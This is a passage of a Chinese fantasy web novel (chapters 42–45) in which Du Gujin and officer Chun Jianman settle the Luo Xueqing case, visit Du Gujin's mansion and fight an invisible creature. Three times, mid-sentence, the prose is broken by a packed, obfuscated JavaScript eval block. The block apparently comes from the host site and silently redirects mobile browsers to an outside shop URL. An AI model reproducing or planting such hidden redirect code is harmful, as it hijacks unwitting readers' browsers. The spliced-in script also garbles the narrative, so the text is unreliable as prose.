独孤尽张张嘴,用口型安抚春渐满,“马上到医院了。” 罗学倾被推上急救车后,一切就跟独孤尽和春渐满没关系了,他们的耳边总算清净了,该做的检查一项没少,而罗学倾该受的痛苦也一点没少。 毕竟,普通的止疼针并不能止住罗学倾的反噬,而这些检查,也根本检查不出罗学倾的身体哪里出了问题。 “你介意我做一些……”独孤尽思忖了片刻,还是开了口。 春渐满似是知道他要说什么,他摇了摇头。 “我不知道,我不知道。” “那你就不用知道了,交给我。”独孤尽露出个安抚人的笑容,有些事情,越少人知道越好。 他已经决定,强制让罗学倾承认自己的罪行,并且,让他背后的家族放弃他。 即便,他要背负上道德上的谴责。 此刻的罗学倾还不知道,他的神魂即将被抹杀。 他还在奋力咒骂着他的父母,一切对他不利的,没有一丝一毫悔改,浑身都在透露出不详的黑气。 这些黑气,是某些势力渴望的,但独孤尽绝不可能让这些黑气从“怪奇诊所”跑出去。 只是一瞬,罗学倾的神魂就从这个世界上消失了,悄无声息。 独孤尽将之前放进泥猫的那团白气塞进了罗学倾身体里。 “去吧,帮我办最后一件事,之后就放你自由。” 42. 生死之约 混世魔王罗学倾变得听话了这件事本就够魔幻的,只要是跟他熟一点的人,都不相信他会改邪归正。 尤其是他的家人。 只不过现在的罗家人还在江湖上寻求各种邪门歪道的帮助,他们并不知道罗学倾已经不再是罗学倾了,不具有某些价值了。 “对于这些罪证,你都供认不讳?”警方吃惊地看着锯嘴葫芦突然变得有问必答,重新把他的口供记录下来,这是非常有力的证据。 罗学倾乖乖点头,他口齿清楚,思维清晰,“我还要补充,这里的受害者不全,还差……” 在他有限的生命里,竟然还害过一些至今都不敢报警的无辜人群。 至此,这些名字都被记录下来,他们会受到来自罗学倾“自愿”的一些补偿,以及他的道歉。 那团白魂在罗学倾的身体里呆得很不舒服,它一点儿也不喜欢这具身体,那些记忆残忍而痛苦,让它想要逃离。 即便是做无凭依的游魂它也不想呆在这种恶魔的躯体里。 独孤尽适时的安抚它,“快了,等法律判决,罗学倾逃不开死刑。” “他为什么那么喜欢折磨人,看弱小的生物被折磨死有那么痛快吗?”游魂不懂,它呆在罗学倾的身体里,接受着那些记忆,却无法感同身受一点。 “有些事情是我们无法理解的,且我们无法容忍的。”独孤尽望着远处发出感叹。 越与这些犯罪者接触,他反而越不懂这些罪犯的心理了。 有些可以说是家庭影响、环境影响,总是有原因的,而有一些,真的找不到原因,哪怕换了环境,哪怕劝他向善,哪怕给他植入了不同的记忆,仍旧无法改变他的本质。 “独孤尽,我们要不要去看看祝诗晴他们,不知道他们从那次案件中出来恢复的如何了。”春渐满想到那群在远星疗养院遭受了非人对待的孩子们。 有些人即便在泥沼中也能生长出骨血。 “暗中看一眼,我们的出现可能会打扰到他们的正常生活。”独孤尽握住春渐满的手,心念转动,便出现在监控死角。 那个角度,正好可以看到即将从这路过的祝诗晴。 女孩精神奕奕,她饱满的脸颊上有了血气,红扑扑的看着就让人心生欢喜,这是健康的、向上的生命。 “她很好。” “是啊,幸好她很好。”春渐满点点头,总算放下了心。 他们的努力没有白费,那些或多或少,不想在这片土地生活下去的人,经此一劫,有了生的韧劲,也算是涅槃重生了。 “对了,‘罗学倾’会给储蒙写谅解书,原谅他推他入水。”独孤尽轻拍春渐满肩膀,安抚他,“会对储蒙的最终判决有一定好处。” “辛苦你了。”春渐满知道事情能发展到这步,全是因为独孤尽独自一人顶住了压力。 那些不容外界所理解的压力。 “春警官,知道我秘密的也只有你了,你可别到最后把我大义灭亲了啊。”独孤尽觉得气氛格外凝重,忍不住开了个玩笑。 “大义灭亲?是灭你还是灭我?真要大义灭亲,我肯定先灭自己。”春渐满脸上露不出一点笑容,到时候真要灭的,自然不能是独孤尽,而是既不敢做,又默许了这些举动的他自己。 两人又神经兮兮侃了会儿,才回到临江湖畔。 临江湖畔是独孤尽现实中房子所在的位置,也就是他本来想回去看一眼的地方。 “你就是在这里碰到的储蒙把罗学倾推下水?”春渐满走在桥边,往下探了探,“挺高,如果不是罗学倾精通水性,正常人掉下去直接就该拍晕了。” “是,当时罗学倾演得也很像正常人落水,只不过是运气好没被拍晕还在挣扎版。”独孤尽现在都不想多看一眼水面。 他无意卷入他人都命运之中,以后他还是少来现实吧,把东西搬走,他就可以彻底不回那个家了。 “要回去拿很重要的东西?”春渐满想不到有什么能让独孤尽这么挂心。 “虽然我的父母不曾给予我幸福的童年,没有经常陪伴我,但他们起码给了我正常的教育,让我虽然过着纨绔的生活,却没有走歪。”独孤尽耸耸肩,尽量说得轻松些,“所以,他们这些年送我的一些东西,我想保留下来。” “你就没做过什么错事,让家里给你摆平的?”春渐满狐疑地凑近独孤尽,想从他白净的脸上看出一些不好意思。 独孤尽的脸随着春渐满的靠近逐渐泛红,但绝对不是因为被发现了他小时候闯的祸,而是春渐满的气息过于温热,鼻息拂在他脸上,给他熏红了。 “不好意思了?真有情况?”春渐满越凑越近,鼻尖都快抵上那块白玉似的肌肤了。 “没,别乱猜了,我虽然是纨绔,但从没做过什么出格的事需要家里给我摆平。”独孤尽还真回忆起来了,他好像也就有的时候喜欢买买买,没钱的时候家里会帮忙出钱。 别的……别的好像再没了。 他摸摸鼻子,坦白道,“有一次吧,好像是小学,我看上了一个泥塑展,想把里面的雕塑全买下来,然后钱包里不够。” “你还有囊中羞涩的时候?”春渐满拍拍独孤尽的腰。 “也不是,那些泥雕其实不值多少钱,当时的承办方发现我的身份哄抬价格,我那时候又真喜欢这东西,也没看出对方在哄抬价格,就被宰了。” “被宰了?不是你家帮你兜底了吗?还能被宰?”这么简单的宰客,只要大人来了,不是很容易破解吗? “兜底了,但是他们没来,他们没空因为这种小事来。”独孤尽微垂眼眸,似是回忆起了当时的场景,“他们虽然帮我把钱补上了,却是从我之后的零花钱里扣的,而且想让我自己记住这个坑。” “我后来虽然长记性了,但爱乱买东西的习惯还是没改掉。” “可不是没改掉,不然也不会买到‘怪奇诊所’了。”春渐满一想到独孤尽花了多少钱买到的这幅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688939|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪画就肉疼。 一个亿,给普通家庭可以用多久,哪怕是用来创业,都能败好几回了。 “所以,我一定会用它把钱都赚回来,目前已经赚了一半了,相信在分所的不懈努力下,再有个几年,我就能回本了。”独孤尽完全不打算自己再开工了,有了打工的下属,哪个好老板还自己工作啊。 独孤尽走进别墅的那一瞬间,管家和其他在别墅工作的人都睁大了眼睛,恭迎独孤尽。 春渐满被这么多人用这种崇敬地目光注视还颇有点不习惯。 “少爷,您终于忙完回来了?要先休息吗?”管家眼里是真的欣喜,独孤尽也有些歉疚地看着他。 从小到大,管家跟他在一起的时间是最久的,可以说,他是被管家一手带大的。 “廖叔,我就是回来取一些东西,往后应该不会回这边住了,你们高兴继续在这里谋职,我会一直供你们,如果你们不愿守着这个空屋子,想去别的地方,也可以自行离去。”独孤尽太怕伤感,直接把话讲清楚了,免得之后再难开口。 独孤尽想了想,又觉得刚才说的不妥,他补充道,“廖叔,您看看什么时候方便,我请律师来把房子过户给您,这样,您的儿孙也可以住进来,您在这边也住惯了,他们能搬过来陪您也好。” “这栋别墅在市区里,交通便利,发展前景也好,孙辈读书也方便。”独孤尽刚说出这些话,就被管家按住了手。 “少爷,您别说了,我怎么能要主家的房子,这不是本末倒置了吗?我会和大家一直守在这里,您什么时候想回来了,就回来看看。”管家眼里已经泛起泪光,他知道他从小看到大的孩子终将展翅,不在属于这里了。 “儿孙自有儿孙福,他们该自己为自己挣前程,如果知道我在市中心有套别墅,不知道会起什么狼子野心。” 独孤尽想了下,确实,他见过不少因为家产破裂的家庭,好意有时候反而会坏事。 “那这样,我立一份遗嘱,如果我不在了,这房子肯定是要留给您的。”独孤尽说得平静,可管家却双手颤抖起来,“少爷,您何故这么说?我可不想再白发人送黑发人了。” “廖叔,我不想瞒您,我现在在做很危险的事,但不是坏事,这位是春警官,有他看着,我不会做坏事的。”独孤尽把春渐满引荐给管家,春渐满也配合地把自己的证件拿出来给管家看了一眼。 “你们警察有时候需要公民配合我理解,但少爷他从小就没什么这方面的天赋,不适合当你们的卧底……”他的话还没说完,独孤尽就做了个“停”的手势。 “廖叔,我意已决。” “那小春警官,少爷就拜托您了,请一定保他周全。”管家沉重地将独孤尽的手交到春渐满手中。 双手相触之时,两人都一个激灵,怎么感觉这么奇怪呢,像是被长辈交托了终身似的。 即便如此,春渐满还是郑重地点了头,“您放心,我会以自己之命护他周全。” 43. 藏在浴室的危险东西 “春警官的觉悟让我们普通民众闻之落泪。”独孤尽故作夸张地抹了两下不存在的泪,他的唇角是上扬的。 “真要用命保护我啊?” 春渐满对上独孤尽那欠欠的样子,没好气地翻了个白眼,“说给老爷子听的假话你也信?” “假话?我看你那样子可不像在说假话。”刚才春渐满那般认真的许诺,绝不可能是假的。 “所以你才是演技最差的那个。”春渐满抿着唇往前走。 “怎么还带攻击的。”独孤尽拦住春渐满,“别再往前走了,再走就到禁区了。” “禁区?” “前面那片是我模拟的沙漠,里面种了很多仙人掌,比较危险,这边建议还是直接跟我瞬移。”独孤尽伸出自己的手,那是一双没怎么干过重活的手,白皙柔软,骨节分明,好看得有点过分。 春渐满的手常年握枪外加训练,掌心和指腹、指节上都有不同程度的茧子,跟独孤尽那白净的手格格不入,可他仍旧坚定不移地放了上去。 瞬移的次数多了,那种头晕目眩的感觉也免疫了。 不知是不是在独孤尽家中的关系,春渐满甚至觉得双手交握处有阵阵电流,酥酥麻麻地传到他心底。 “独孤尽,你家是不是哪里漏电?” “啊?不可能,我家到处都很安全,也没路过电网区域,你触电了?”独孤尽开始审视自己的能力,难不成哪里出问题了? 毕竟从一开始,春渐满就是那个捉摸不透的变数。 “好像触电了,现在好了。”春渐满松开独孤尽的手,环顾这间属于独孤尽的房间。 和普通男人的房间有所不同,他的房里说不上特别整洁也说不上特别乱。 有种乱中有序又带着乱的感觉。 而且这间卧室大得离谱,里面被划分为好几块区域,甚至还有个颇有情调的小吧台,酒柜里还藏着很多名酒。 “看不出来,你平时还会找朋友来家里打斯诺克?”春渐满摸上球杆,有点手痒。 “不会。”独孤尽言简意赅,他握住那支球杆,“我都是自己在打。” “玩玩而已。” “那要不要跟我来一局?”春渐满年轻时候很喜欢玩这些,只不过工作以来,很久都没碰过了。 “我怕你碰不到球。”独孤尽信心十足。 “这么自信?没有什么是百分百的,说不定你就失误了呢。”春渐满可不信独孤尽有这么好的球技。 “也是,之前都是我一人在打,现在多了你这么大个变数,可能一球都进不了。” “喂,独孤尽,你怎么说得我像扫把星一样。”春渐满不满地擦着球杆,蓄势待发。 因没有裁判,由独孤尽自行发球,接下来他没有停顿,一杆一球,球球进洞。 春渐满没有打扰他,他也是第一次见独孤尽这么专注的神情,似乎无论外界发生什么,都干扰不了他。 等到最后一球落洞,独孤尽才舒出一口气。 “真一点都不让我?”春渐满确实没摸到球。 “春警官,你需要我放水吗?”独孤尽吹了一下球杆,有段时间没打了,手感还在,没丢脸。 “不用。” 轮到春渐满,他也毫不手软,没给独孤尽接力的机会,全都球球落袋。 “我们这么玩太没意思了。”春渐满一点儿都没感觉到与高手过招的快感,他似是想到了什么,眼里闪出精光。 “我们捏的小泥猫呢?你再弄点儿魂进去,让它在桌上走着,我们打球必须绕过它,它可以随意打乱我们的球。” “你就不怕球打到它?”独孤尽抽了抽嘴角,还是把小泥猫放了出来。 “猫可灵活了,不能看着球过来还傻呆呆趴那儿吧。” 如果猫真的趴在原地不动,那一定是想享受球的按摩。 “当然,如果你怕打到猫,那击球的力度也要好好考量一下,这样可玩性更强了。” 再度复出的小泥猫没有先前那只那么听话,它有点不谙世事,对桌面上的球充满了兴趣,时不时用爪子拨弄一下。 “你确定,要这样打?”独孤尽还是头一次这么打台球,他迟迟不知道该怎么下杆。 “你不敢?”春渐满的话语里带上了挑衅,但这挑衅对独孤尽根本没用,他把球杆往旁边一放,让出路来。 “你先打。” 春渐满倒是跃跃欲试,一点儿都不担心自己会伤到小猫。 当然,小猫也丝毫不觉得球会伤到它,仍旧在桌上玩着。 这次,春渐满的第一杆就落空了。 独孤尽吹了声口哨,他像是也起了兴致,眼角都是含笑的,只不过自己的回合也没落成球。 两人逐渐认真,思考者如何在不伤到小猫的前提下进球。 小猫似是玩得无趣了,抱着一颗球就仰天露出了肚皮,咕噜咕噜的惹人怜爱,想让人上前好好撸一把。 这次两个人总算玩尽兴了,一场下来浑身都冒汗了。 春渐满冲独孤尽眨眨眼,“借用一下浴室。” 独孤尽冷静下来觉得刚才的一切有点荒唐,他们用着足以让人畏惧的能力,做着这种儿戏一样的事。 还都玩认真了。 独孤尽摇摇脑袋,敛了心神,趁春渐满去冲澡,他找到了之前自己收拾过的几样家人赠他的礼物,翻看了一下,就把东西收进了画里。 等春渐满洗完澡出来,他已经连全家福都塞进画里了。 “收完了?”春渐满出来时,头发都已经吹好了,他真心感叹,“你们有钱人的生活,我们当真想象不到。” “全自动的按摩浴缸,还有全自动温控的吹风机,坐在那也不用我手动操作就给我吹上了,吓我一大跳。” “你用浴缸泡澡了?”独孤尽以为春渐满也就淋个浴,毕竟是借别人家的浴室,没想到他这么不把自己当外人,什么都体验了。 “本来没好意思,但那个池子那么大,刚打完台球,又有点儿想游泳,就进去了。”春渐满比划了一下,他是真没想到有钱人的浴缸能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688940|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接游泳。 “我不喜欢外面的泳池,不干净,想游泳的时候都在家里游。”独孤尽解释了一句,他边走边脱衣服,走到浴室门口时,猝不及防被里面蒸腾的水汽扑了一脸。 这是他从未感受过的,尤其水汽里还夹杂着一股浓烈的味道。 “你到底在我的浴室里干什么了?!”独孤尽有点恼羞成怒。 “没干什么啊,就游了个泳,享受了一下按摩浴缸,吹了个头发。”春渐满有点莫名其妙,他举着手发誓,“真没干什么违背公序良俗的事。” “可能游泳时散发了点荷尔蒙吧,你这个嗅觉都可以当警犬了。” 独孤尽忍了忍,还是走了进去,这种被陌生气息包裹全身的感觉太怪异了。 他几乎是屏息冲完了澡,连头发都没吹就换好衣服出来了。 “这么快?”春渐满发出惊叹,随后讪笑着递上气泡水,“喝点?” “你过来点。”独孤尽一把抓住春渐满的衣领,凑近他颈边嗅了嗅。 很快,他的眉头蹙了起来。 “不对,不是你的味道。” 刚刚他在洗澡时忽然想起来,之前那次春渐满体内的红酒被排出来时,他那般狼狈,散发出的气味也并非这种强烈霸道侵占意味十足的难闻气息。 “你在说什么?”春渐满猛地被人拉近,脖颈处已经一片绯红,温热的鼻息太过烫人。 “春渐满,这里不对劲。”独孤尽再次扯着春渐满的衣领拉近两人距离,压低声音在他耳畔道。 春渐满被骤然紧绷的气氛惊回了神,他保持着这个姿势不动,同样低头在独孤尽轻声询问,“是你说的浴室里的怪味?” “也不是特别怪,但那个不是你的气息,肯定也不是我的,这个房间廖叔他们也不会擅自进来用。” “刚才你洗澡时发现什么异样没?”独孤尽刚洗完澡,干燥的掌心又开始冒汗,连同鼻尖都沁出了汗珠。 这种连他都险些没察觉的,不知为何物的……太过危险了。 “没,我们先回画里再议?”春渐满提出建议。 “不行,廖叔他们还在这里,我们不能保证这东西找不到我们会不会对旁人下手。”独孤尽声音里夹杂了一丝不易察觉的颤抖,被春渐满发觉了,春渐满抬手按在他肩膀上。 “独孤尽……主人,你有这么多神兽,还有绝对不会对你坐视不管的画,我们有这么多底牌,没什么好怕的。”春渐满强自镇定下来,他深吸了口气。 平时执行特殊任务时,遇到不可测的敌方,他都会用这招安定自身,毕竟,慌乱才会有破绽,只有稳住军心,才能一举获胜。 “提醒我了。”独孤尽点了点头,他凝神将整间屋子都变成“怪奇诊所”的区域,这样,他能够最大程度发挥自己的能力。 气泡涌出的水压似乎惊动了藏在浴室里的东西,不明的水波似巨浪般朝两人涌来,独孤尽拉着春渐满腾空而起,躲过这一波,生怕被水浪切割成两半。 “小心!它是隐身的!” 44. 追踪隐形之物 独孤尽头一次碰到在“怪奇诊所”区域里也能隐藏自己身形让他无法掌控在手心的,这究竟是什么? 是人吗?还是他所不知道的神秘事物。 “加重水汽,让它显形!”春渐满提醒独孤尽,只要水雾足够大,隐形之物也无处遁行。 很快,地上出现了一串不属于人类的印记,它加速时拖拽出长而深的划痕,时而又出现在空中,那团水雾包裹着它,逐渐显化出个模糊的身形。 那是一大团看不清的疙瘩,细长的不知道是手还是脚,又或是触须的东西让它能够飞速移动。 独孤尽深吸口气,厉声呵道,“土蝼!速来!” 空气因水汽氤氲,被撕裂时更为骇人。 土蝼形似山羊,却比山羊多了一对长而利的角,它不仅食肉,还食人。 它厉害就厉害在,脾气极差,只要被它撞到的,无一例外皆是五脏俱裂,七窍流血而死。 所以独孤尽对它有着特殊的禁锢,可此刻,独孤尽像摸好大儿一样搂着土蝼的脖颈好一阵腻歪,顺便给它吹吹彩虹屁,打打鸡血。 “土蝼,最勇猛的战士!冲吧!把那透明之物的神魂撞出来,让它知道好歹!” 土蝼不擅人言,但它四肢躁动地在地上踏出雷霆之势,浑身充满了力量感,尤其是头上那对长挑的尖角,直冲隐形之物而去。 独孤尽趁机喘了口气,凭空拿了杯水出来,刚想往嘴里送,就想起来在一旁还很紧张的春渐满,拍拍他手臂,把水递过去。 “喝点,先看它们战着。” “不用帮忙?”春渐满不明白大好机会为什么不直接解决了这东西。 “哎,不行,这片战场现在都是土蝼的,我们最好就是躲远点,别干扰它。”独孤尽摸摸脖子,觉得血管都在发凉,“土蝼玩疯了可是分不清敌我的,到时候把我们撞了,可是真要一命呜呼的。” “它不是你的神兽吗?连主人都不认?”春渐满大为不解,他对土蝼的印象不深,只记得先前补习时,它同一众成绩不太好的神兽混在一块儿,没啥存在感。 “人跟人还各不相同呢,神兽跟神兽之间也是有区别的,就算大家都认我,有一些脾气不好的,性子起来了,自己都照干不误的。”独孤尽龇牙咧嘴似是想到了什么。 “给你举个最常见的例子,那个饕餮,吃疯了最后连自己都吃,土蝼也一样。” “那我们是不是直接离开你的房间会更安全一些?”春渐满看着疯狂在他们身边擦肩而过的土蝼和隐形之物。 “那我们就看不到战况了,这不利于整体局势。”独孤尽重新把水送到春渐满手中,“快喝点补充能量,等会儿真要我们上场也有力气。” 春渐满低头看了一眼,居然还是能量饮料,喝一口能顶一天的那种广告里的能量饮料。 “要不要直接摆个宴席在这里吃起来?”春渐满实在没眼看独孤尽,他已经又把他的御用沙发变出来了,喝完水就躺下了。 “那也太不尊重土蝼了,就算它不擅人言,晚点也会跟我抗议的。”独孤尽颇感头疼,除了几个真宅神兽外,大部分神兽都爱跑人类世界去。 有的想趁机作乱,有的想获取其他高人的帮助,转移阵地作乱,总之,没什么善茬,他都是能不让这些家伙出来就不让这些家伙出来。 “你的画空间里不是应有尽有,晚点给他们造个跟人类世界同比例的世界让它们浪。” “那它们也不爱在虚假的地方作乱。”独孤尽无奈地叹了口气,似乎只有人类这种生物才会爱做梦,爱那些虚无缥缈的东西,这些神兽反而不爱虚假,只爱真实。 “看来,罗学倾的事没完啊,罗家一定联合了其他玄门来找我茬了。”独孤尽如此猜测。 “你不是把罗家要送出去的求助讯息都拦截了吗?” “我拦截归拦截,主要拦截的是通讯这块,人肉传信我可拦截不了。”独孤尽低头拿出手机,把他拦截的那些玄门一一列出。 “罗家经常找的有这个蓝家、方家、尚家,还有凌家。” “这四大家族平日里都靠玄学吃饭,本来我跟他们没什么纠纷,毕竟我只赚广大可爱网友们的一点小钱,那些个有头有脸不爱网上冲浪一点也不可爱的大老板们可就爱找那些玄门处理事情,他们赚起钱来都是千万千万的,哪里会在意我这种赚小钱的。” “也不知道究竟是哪家接了罗家的人肉传信来对付我了。”独孤尽颇感意外,按理说他的身份根本没有暴露,毕竟就连警方都查不到他的讯息。 这些玄门世家究竟通过什么样的渠道把他揪出来的? 独孤尽沉思了片刻,忽然想起来一人。 “陆烨修!” “什么?这不是你的同学吗?”春渐满正随着独孤尽提供的思路思索着他们可能漏掉的点,突然被独孤尽提高的声音惊到。 “除了陆烨修还有这次处理落水案的警察知道我,但他们应该都不知道我的身份才是。” “可能被针对的不是你一人,也许我这边……”春渐满瞬间想到了他的师父,还有落水案涉案的其他人。 “大家可能都有危险。” “不一定……”独孤尽瞧着不远处打得不可开交的土蝼和隐形之物,双眸微眯,“你看,他们派出的这东西是隐形的,一般来说,普通人无法察觉。” “如果他们是正正经经的玄门,该不会对普通人乱杀无辜。”独孤尽抬起下颚,指着远处的那东西,“只有真正有能力的人,能察觉出异常,也就触发了隐形之物。” “你的意思是,我们打草惊蛇了,中了他们的圈套!”春渐满悟得很快,他有些懊恼,如果不是他非要洗澡,可能独孤尽回屋拿完东西他们就走了,也不会让那些人发现他们的异常。 独孤尽拽了浑身僵硬的春渐满一把,将他拉到沙发上坐好,“放松点,怎么紧绷得像尊石像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688941|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “等会儿不用被土蝼撞到,我轻轻碰你一下,是不是就该碎了?” 独孤尽的声音里掺杂着点笑意,那是轻松的,缓解人心情的,但春渐满还是无法让自己松弛下来。 “真玻璃心了?心碎了?”独孤尽故意用手指戳了春渐满几下,春渐满垂眸捉住独孤尽作乱的手,“别开我玩笑了,都什么时候了。” “能是什么时候,大好时光、阳光明媚的时候,只不过有那么一只不长眼、没一点眼力见的隐形怪在,就当看场打戏喽。”独孤尽倒像是真的放松下来,他半搂着春渐满都快躺在沙发上小憩了。 春渐满觉得这个姿势格外别扭,独孤尽的鼻息全都喷在他的后脖颈处,惹得他又想去洗澡了。 “原本还想把这栋别墅留给管家他们,现在不得不放弃这块地方了。”独孤尽不太想把祖宅卖掉,毕竟这里地段好,生活也便利,可一旦被这种玄门大家盯上,危险重重,还是人命要紧。 “只有终日做贼没有终日防贼的道理,必须跟这个玄门清算。”春渐满不赞成独孤尽想要躲事的作态。 “那我就想想法子,看怎么能找到这个玄门所在。”独孤尽还是很听劝的,他半阖着眼眸凝神思索。 片刻之后,就在土蝼即将得手,将那隐形之物撞得七窍流血而死之时,独孤尽叫了停。 “土蝼,回去!” 隐形之物的体力已经消耗殆尽,它每一次喘息都极其剧烈,让周围的水雾浮现出巨大波纹。 独孤尽一步一步逼近,伸手拍了拍隐形之物,那是滑腻粘稠的触感,让人不想再碰第二次。 他也不会再碰第二次,毕竟,已经把该让它带上的时候带上了。 接下来,只要等它回去复命,就能知道究竟是哪个不长眼的玄门在帮罗家了。 独孤尽洗了好几遍手才把那种触感从他手心消除,扭头春渐满伸出手,“走吧,春警官,回家了。” “廖叔这里?”春渐满很担心玄门会卷土重来,报复独孤尽不成,晚点把这些无辜民众给伤了。 “我把‘怪奇诊所’留在这里了,如果这边有异动,我会第一时间知晓。” “你不是无法探知隐形之物吗?”春渐满还是不放心。 “我还留了个听话的看门神兽在这,放心,廖叔算我半个爹妈,我肯定不会让他受伤。”独孤尽再次将自己的手往前送了送,“还是你嫌弃我的手刚刚碰了那个怪物?” 这次春渐满没再迟疑,他用力握住独孤尽,随他心念转动,一同回到了画的空间世界。 独孤尽立马毫无形象四仰八叉躺在了地毯上,“还是这里安全啊,也不会担心这担心那的,果然金窝银窝不如自己的怪窝。” “来,让我看看这个隐形之物往哪跑了。”独孤尽拿出手机查看定位,玄学加高科技的结合当真是妙。 “不……不对劲啊,我记得那边是陆烨修家的方向啊!” 45. 怪异六人组 “你跟这个陆烨修熟吗?”春渐满还记得那个热血年轻人,他在跟警方处理落水案时,跟他接触过那么一两回。 “……他挺熟我的。”独孤尽给出了一个似是而非的回答。 “什么叫他挺熟你?” “他自来熟,跟每个同学都很熟。”独孤尽本就不愿与人多相交,在学校的时光也比较孤僻,虽然他自己不这么觉得,但老师和同学都默认他孤僻。 也就是这位叫陆烨修的同学非要拉着他参加集体活动,每次有分组活动也会拉着他。 “我让师父帮忙查一下。” 隐形之物即然朝着他家方向而去,那一定不可能是偶然。 “你去过他家?”春渐满跟曹队讲明情况后,敏锐察觉了点什么。 “他家挺喜欢给他过生日的,每次都要办生日宴会,会邀请大家一起去。”独孤尽想到这个就头疼,他最不喜欢参加这种宴会。 “人家车都开过来了,硬被他拉上车。”独孤尽回忆了一下,自己当时也不够坚决,如果坚决不去,也能拒绝掉。 “那个时候去没发现什么异常?”春渐满不知不觉就进入了审查状态,独孤尽摆摆手,“我那个时候只是个普普通通的富二代,每天吃喝玩乐,也没功夫关心其他。” 又不是侦探,谁会去到哪里都关注细节呢? “看来,只能再去一趟了。” 曹鸿盛现在对自己徒弟让他查的东西很上心,生怕又是一件大案,不过这个陆烨修看起来就是个非常正常的家庭,也不知道哪些资料对徒弟有用。 春渐满查收了一堆琐碎的资料,全是关于陆烨修的,小到他每次重要考试的成绩,大到他获得过什么奖项。 但里面并没有让人觉得怪异的内容。 “单从这些资料里看,这件事跟他没什么关系。” “不能掉以轻心,也许这也是个诱饵。”独孤尽吃一堑长一智,他生怕陆烨修家才是真正的龙潭虎穴。 独孤尽召集了神兽集合,让他们随时待命,别玩疯了。 另外挑了些水果,包了个精致的水果礼盒带上。 他跟春渐满一起瞬移到陆烨修家附近时,天光正好,照得人头晕目眩。 呆在画的空间里容易分不清昼夜,两个人都有些倒时差的精神不济。 “周围有种怪异的能量波动。”一到地方独孤尽就察觉到了,他抬手感觉了一下这种不同的能量。 而他只是尝试着捕捉触摸这股能量,就惊动了什么,这个能量忽然间躁动起来。 “不好,被发现了。” 春渐满抿紧唇,警惕地环顾四周,街道两边的商铺正热火朝天做着生意,丝毫没有感觉到这边的异样。 “去人最多的地方。”独孤尽当机立断拉着春渐满往早餐铺里走,人越多,越难被分辨出来。 “会不会对普通民众不利?”春渐满时刻都谨记着以人民为重。 “不会,他们没打算闹大。”独孤尽非常笃定,否则刚刚那一下,他们大可以直接向他进攻。 早餐铺里人声鼎沸,大家伙都忙忙碌碌,全急着填饱肚子去上班,也就显得独孤尽和春渐满两人格格不入。 “两位要来点儿什么?” “两碗豆腐脑,一碗加醋一碗……”独孤尽看了春渐满一眼,他还不知道春渐满的口味。 “另一碗不加醋也不加辣。”春渐满冲人点点头,“再加二两饼子。” “你喜欢吃这种饼?” 春渐满没理会独孤尽充满好奇的目光,他仍旧警惕地注意着四周。 “你不爱吃?” “吃不下,早上没胃口。”独孤尽揉揉肚子,他现在就想好好睡一觉,而不是出来调查东西做牛做马。 “积极一点,等这些事情结束,再好好休息。”春渐满看出了独孤尽的疲惫,任谁这么连轴转也不行,尤其,在遇见他之前,独孤尽不知道已经这么高强度工作多久了。 “等不了了,再等下去,我就不用休息了。”独孤尽哀叹着趴在桌上,很快就被豆腐脑的鲜香味道俘获了。 “这家豆腐脑做得挺不错,好久没吃到这么好吃的了。” 春渐满也尝了一口,虾皮似是重新用油激过香味,鲜咸的味道混在醇厚润滑的豆腐中,每一口都是对味蕾的奖励。 “确实好吃。” “那当然,你们不住这儿吧?我们家可是上过电视台的,公认的健康、卫生,又好吃!”店里人听见两人的对话,免不得自夸上一番。 “本来来我们家吃早餐的人还要多,供不应求,就是对门那家搞了幺蛾子,把人都吓跑了。” 春渐满来了精神,他忍不住追问了两句,“对门,是那家做鸡蛋汉堡的吗?” “就是那家,不知道用的什么不合格的肉,被人扒出来了,大家看到他们都害怕,不敢路过。” “那他们家还能继续经营?”春渐满看那家店门还开着,虽然里面没啥客人,灯光也比较昏暗,许是店铺位置的关系,阳光也照不进去,确实看起来即不健康也不卫生。 “有市场监督的来查过,把他们店封了。”店员的声音压低了,他凑近两人,“但他们还是开门,只是不做生意了,不知道每天开门在干啥子咧。” “就因为他们,好多人不敢走这条道,我家生意被他们不知道影响了多少,可恨死了。” 确实,不开店了,也没法管人家自家的门开还是不开。 “那招牌不是还没卸,不会有人问他们家的鸡蛋汉堡吗?”独孤尽一边吸溜豆腐脑,一边指着对门那醒目的红色招牌。 “不熟这片的人可能会问,但他们也做不了不是。” 等店员走了,春渐满才冲独孤尽扬了扬下巴,“要去那边看看吗?” “饶了我吧春警官,您是一心为民,我是一心当咸鱼,让我歇歇吧。”独孤尽直觉那家店可能牵扯了什么,他不想去趟那个浑水。 